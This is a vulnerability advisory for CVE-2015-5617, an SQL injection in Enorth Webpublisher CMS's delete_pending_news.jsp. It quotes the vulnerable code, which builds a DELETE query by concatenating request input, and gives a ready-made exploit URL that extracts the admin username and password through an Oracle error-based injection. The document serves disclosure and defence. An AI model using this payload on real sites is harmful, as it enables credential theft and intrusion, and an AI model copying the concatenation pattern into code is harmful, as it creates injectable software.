Enorth Webpublisher CMS SQL Injection

`Title:  
====  
[CVE-2015-5617]Enorth Webpublisher CMS SQL Injection from delete_pending_news.jsp cbNewsid   
  
  
Vendor:  
======  
http://products.enorth.com.cn/bfnrglxt/index.shtml  
Enorth Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users.   
  
  
Versions Affected:   
==============  
All versions  
  
  
Author:   
======  
xin.wang(xin.wang(at)dbappsecurity.com.cn)  
  
  
Vulnerability Description:  
====================  
/pub/m_pending_news/delete_pending_news.jsp  
<%  
String[] newsIdGroup;  
  
newsIdGroup = request.getParameterValues("cbNewsId");  
if (newsIdGroup == null || newsIdGroup.length == 0) {  
throw new P3Exception("mbx_news_submit_empty_news_id");  
} else {  
penTran.deletePendingNews(newsIdGroup);  
}  
%>  
  
/WEB-INF/classes/cn/com/enorth/pub3/m_news/PendingNewsBean.class  
  
public void deletePendingNews(String[] newsIds) throws Exception {  
Connection cn = null;  
PreparedStatement pstm = null;  
try {  
StringBuffer buf = new StringBuffer();  
buf.append("delete from tn_pending_news where news_id in (");  
int i = 0; for (int len = newsIds.length; i < len; i++) {  
buf.append(newsIds[i]).append(",");  
}  
buf.append("-1)");  
cn = P3DBTools.getPubConnection();  
pstm = cn.prepareStatement(buf.toString());  
pstm.executeUpdate();//执行  
cn.commit();  
} catch (Exception ex) {  
P3DBTools.rollback(cn);  
throw ex;  
} finally {  
P3DBTools.freeConnection(cn);  
}  
}  
}  
  
  
Exploit:  
======  
http://website.com/pub/m_pending_news/delete_pending_news.jsp?cbNewsId=2222)%20and%201=ctxsys.drithsx.sn(1,(select%20USER_NAME||PASS_WORD%20from%20TN_USER%20WHERE%20USER_ID=1))—  
  
  
  
Vulnerability Disclosure Timeline:  
  
===========================  
2015-07-28 Found The Vulnerability  
2015-08-02 Submitted To The Vendor  
2015-08-03 Fixed  
2015-08-13 Public Disclosure  
================================================================================================  
  
  
  
  
`